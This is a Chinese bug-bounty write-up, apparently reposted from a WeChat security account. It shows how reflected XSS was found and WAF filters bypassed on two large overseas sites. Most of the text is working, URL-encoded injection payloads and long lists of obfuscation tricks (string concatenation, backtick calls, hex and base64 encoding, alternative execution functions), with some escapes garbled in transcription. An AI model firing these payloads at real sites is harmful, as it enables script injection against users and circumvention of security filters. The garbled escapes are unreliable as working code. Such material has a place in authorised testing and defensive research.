01
前言
分享两个海外大型SRC厂商的XSS成功绕过WAF的案例,觉得挺有趣的,遂整理成文,大佬们轻喷~
02
XSS绕过
某全球顶级网络设备商
首先,URL是这样的
https://axxx.test.com/Cxxxxxxx/gxxxxx?Axxxx=hxxxx&Bxxxx=yxxxx2&Gxxxx=yxxxx&Gxxxxx=gxxxxx&Kxxxx=vxxxxx&Lxxx=nxxxx&Mxxxx=oxxxx=nxxx&Mxxx=xxxx&cxxxxx=ixxx&location=US
S
既然是找XSS,那么无非就是找输入输出的点,再绕下WAF就可以了,工具这里就不说了,只说手工。可以看到这么多个输入参数,该怎么快速定位到有回显输出的那个参数呢?
可以直接这样,把每一个参数值都写成一个标记值,比如"X1lyS-1","X1lyS-2","X1lyS-3"……然后再去响应里搜索标记值,就能快速找出有回显输出的参数
查看源代码,搜索"X1lyS",由于右键不方便看js代码的结构,每次右键也麻烦,于是推荐使用burp抓包来看就很直观了
一共搜索到4处回显,选择一处结构最清晰简单的进行下一步测试,因为结构清晰的地方便于构造闭合
可以看到GET参数"location=X1lyS-11",回显输出在了响应中,"var _location='X1lyS-11';",那么就测试这里了
该处回显点,在前端页面表现为修改地理位置的功能点,所以师傅们以后遇到这种场景就可以考虑测试一下有无XSS
回显点处的结构很简单,位于script标签内的_location变量的值处
<script type="text/javascript">// ... [其他变量已隐藏] ...var _location='X1lyS-11';// ... [其余代码已虚化] ...</script>
既然已经在<script>
标签内,那么就直接构造js代码就可以了,不用再写什么html标签
首先,先闭合逃逸出来_location变量
location=X1lyS-11';test
逃逸成功!没有过滤
'
,和;
符号
直接写个alert
试试呢,最好先不要直接写alert()
,为什么呢?因为alert
+()
是两个变量,alert
是一个变量,如果alert()
被拦截,根据控制变量法,我们不能一步知道WAF到底是拦截的alert
字符串还是()
符号,还是两者都拦截?绕过WAF的核心就是一点一点的FUZZ出来WAF到底拦截的是哪一个小部分,然后我们再使用其他可行的方式替换掉这个小部分就能绕过WAF了
&location=X1lyS-11';alert
逃逸失效,被WAF转义拦截,说明WAF会拦截
alert
关键字
location=X1lyS-11';()
直接失去回显,location
被设置为了"US"默认值,说明WAF拦截了()
那我们先在
alert
关键字本身做文章,尝试最简单的大小写绕过试试
location=X1lyS-11';alerT
大小写绕过试试失败
拼接绕过试试,使用window
去拼接alert
关键字
window['al'+'ert'](1);
但是注意()
也被拦截了,于是我们使用反引号来绕过,替换()
location=X1lyS-11';window['al'+'ert']`1`;
这里还需要注意,这个payload里出现了几个特殊字符
[]
以及反引号,它们都需要被URL编码,不然会导致服务器400格式错误,于是我们修改如下
location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%601%60%3B
成功绕过
alert
与()
的过滤!
不过还不要忘记加上//
,闭合掉后面的js代码,这样语法才能正确,我们插入的js弹窗代码才会被执行
location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%60X1ly?S%60%3B//
在浏览器浏览响应,看看是否成功弹窗
哟西成功弹窗!
那除了这种正面绕过方式还有什么呢?反面绕过,也就是寻找没有被过滤的关键字来替代alert
证明XSS漏洞存在
比如,下面几个函数来替换
// 使用promptprompt(1);// 使用confirmconfirm(1);// 使用console.log (不会弹窗但可以验证执行)console.log(1);
经过尝试
prompt
,confirm
也被禁用了,但是console.log
没有被禁用,于是直接又找到一种解法
location=X1lyS-11';console.log%60X1ly%3FS%60//
执行成功!
如果还想再复杂点该怎么构造呢?使用执行函数嵌套弹窗函数加编码试试
先看看eval
关键字
毫不意外被过滤了,那找一些偏僻点的执行方式试试?
使用 Function 构造函数
// 基本用法newFunction('alert(1)')()// 带参数的用法Function('a','l','e','r','t','(1)')()// 字符串拼接Function('al'+'ert(1)')()
使用 setTimeout/setInterval
// 直接使用setTimeout('alert(1)')// 字符串拼接setInterval['call'](null, 'al'+'ert(1)')
使用 location 或 URL 相关方法
// 通过 javascript: 协议location['href'] = 'javascript:alert(1)'// 使用 assignlocation.assign('javascript:alert(1)')
使用事件处理器
// 创建事件document.onclick = newFunction('alert(1)')// 添加事件监听document.addEventListener('click', () => { alert(1) })
使用动态脚本创建
// 创建 script 元素const s = document.createElement('script')s.textContent = 'alert(1)'document.body.appendChild(s)
使用 import()
// 动态导入import('data:text/javascript,alert(1)')
使用 with 语句
// 结合 with 语句with({a:'al',b:'ert'}) { window[a+b](1) }
使用 Proxy 对象
// 通过 Proxy 执行newProxy({}, { get: (_, prop) => prop === 'exec' && alert(1) }).exec
这里就简单展示几个成功的,不全部展示了,都是一样的手法
setTimeout
注意哈还是要把括号换成反引号
location=X1lyS-11';setTimeout`alert`1``
但是这样是不正确的语法,因为出现了四个反引号,会导致几个反引号配对闭合时产生语法错误,只需要加一个转义一下内侧的两个反引号就行了,加上注释符号
location=X1lyS-11';setTimeout`alert`1``//
不过,你是不是忘记了什么?alert
也被过滤了呀,于是再使用一个十六进制编码下
alx65rt
特别注意!这样的编码方式需要被嵌套到执行函数内部才能被正确解析,直接这样是语法错误的
url编码
location=X1lyS-11';setTimeout%60al%5Cx65rt%5C%60X1ly?S%5C%60%60%2F%2F
成功!
javascript
javascript
关键字也需要被十六进制编码,同理可得
location=X1lyS-11';location%5B%27href%27%5D%20%3D%20%27j%5Cx61vascript%3Aal%5Cx65rt%601%60%27//
某全球最大的在线学习平台
url是这样
https://www.cxxxxxxx.com/cxxxxx/cxxxxxxxx.pl?cxxxx=vxxxx&fxxx=Mxxxx&jxxxx=txxxxx&m=bxxxxx&mod=pxxxx&month=exxxxx&pxxxx=uxxxx&product_isbn_issn=xxxxxx
上面介绍过的就不再重复,探测出来有回显的参数是product_isbn_issn
前端页面长这样子,对没错,就是一个空白的框框
抓包看看回显点所处的js代码结构
可以看到回显点在try-catch语句块里
那么先构造闭合逃逸
逃逸成功
直接尝试alert
关键字
product_isbn_issn=X1lyS');alert
发现竟然没有拦截,那么直接闭合后面的符号,不用注释了
product_isbn_issn=X1lyS');alert('1
卧槽?直接就闭合了?也没有任何拦截,这么快就秒了吗?
看看浏览器响应,是否真的弹窗了?
果然没这么简单!奇怪,没有成功弹窗,看看控制台有什么报错吗难道?
果然有相关的报错,解释一下这个报错是什么意思
这是一个框架访问错误: 错误信息显示Cannot read properties of undefined (reading 'location')
,说明代码试图访问window.parent.frames['banner']
时失败。可能原因有:父窗口中不存在名为'banner'的框架,或者由于同源策略限制,无法访问跨域的iframe内容
为什么有这个报错会弹窗失败呢?看看此处的js代码
functionrexxxxx() {var raxxxxx=Mxxx.fxxxx(xxx);try { window.parent.frames['banner'].location.replace('/cxxxxxxxxxxx/cxxxxxxxx.pl?fxxxxx=Mxxxxx&product_isbn_issn=X1lyS');alert('1'); } catch (e) {}}</script>
那是因为如果window.parent.frames['banner']
访问失败,try
会捕获错误,但catch (e) {}
直接忽略,导致你看不到错误。alert('1')
不会执行,因为前面的代码已经报错,JS会停止执行
那咋办?排查下这个报错为什么会产生呢,在浏览器控制台(F12)运行:
console.log(window.parent.frames['banner']);
如果返回undefined
,说明没有这个frame
如果返回null
或报跨域错误,说明存在但无法访问
好吧说明没有这个frame
,那咋办才能执行我们的弹窗代码捏?这个报错我们无法直接修复,修复不了它的下一行弹窗代码就不会被执行……
既然这样,我们再逃逸一层试试呢,直接逃逸出来try
语句,脱离这个报错的影响范围
product_isbn_issn=X1lyS');}alert('1
这样显然是不对的语法,还有一个
}
未被正确闭合,于是我们得做大修改,把它们分成三个部分来闭合
///这是第一个部分:rexxxxx()函数块,函数内部需要使用catch (e)闭合掉try语句,使得语法正确functionrexxxxx() {var raxxxxx=Mxxx.fxxxx(xxx);try { window.parent.frames['banner'].location.replace('/cxxxxxxxxxxx/cxxxxxxxx.pl?fxxxxx=Mxxxxx&product_isbn_issn=X1lyS');//////这是第二部分,将用来写我们的弹窗代码逻辑 test'); //////这是第三部分,将使用try语句闭合掉catch语句,使得语法正确,然后还要正确闭合}符号,于是需要在构造一个fuction来闭合,也就是外面再套一层函数块 } catch (e) {}}///</script>
理论成立,开始实战!
闭合第一部分rexxxxx()函数块,以及函数块内部的try语句
product_isbn_issn=X1lyS');}catch(e){}}test
闭合成功!
接着开始构造弹窗代码逻辑
product_isbn_issn=X1lyS');}catch(e){}}alert(1);
先这样写着占个位,继续闭合第三部分
product_isbn_issn=X1lyS');}catch(e){}}alert(1);function X(){try{//
url编个码
product_isbn_issn=X1lyS%27)%3B%7Dcatch(e)%7B%7D%7Dalert('X1ly?S')%3Bfunction%20X()%7Btry%7B%2F%2F
看看响应
哟西!成功弹窗
"主播主播,你的payload还是太不吃操作了,有没有更复杂的payload"
"有的兄弟有的,这样更复杂的payload还有很多"
假设alert
被过滤,我们有很多种方式去绕过:
○ eval嵌套base64编码
eval(atob`YWxlcnQoJ1gxbHk/Uycp`);
○ Reflect.apply
反射调用
Reflect.apply(window['al'+'ert'], null, ['X1ly?S']);
○ Object.defineProperty
动态定义
Object.defineProperty(window, 'a', {get: () =>window['ale'+'rt']}).a('X1ly?S');
○ String.fromCharCode
拼接函数名
window[String.fromCharCode(97,108,101,114,116)]('X1ly?S');
○ <iframe>
沙盒绕过
document.body.innerHTML += '<iframe src="javascript:alu0065rt('X1ly?S')">';
○ Event
事件处理函数
eval(URL.createObjectURL(newBlob(['alx65rt("X1ly?S")'], {type: 'text/javascript'})));
○ Array.map
隐式调用
['al'].map(x =>window[x + 'ert']('X1ly?S'))[0];
ok,文章到此结束,师傅们下次再见~,欢迎留言下次写什么文章呢?
原文始发于微信公众号(迪哥讲事):海外实战系列
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论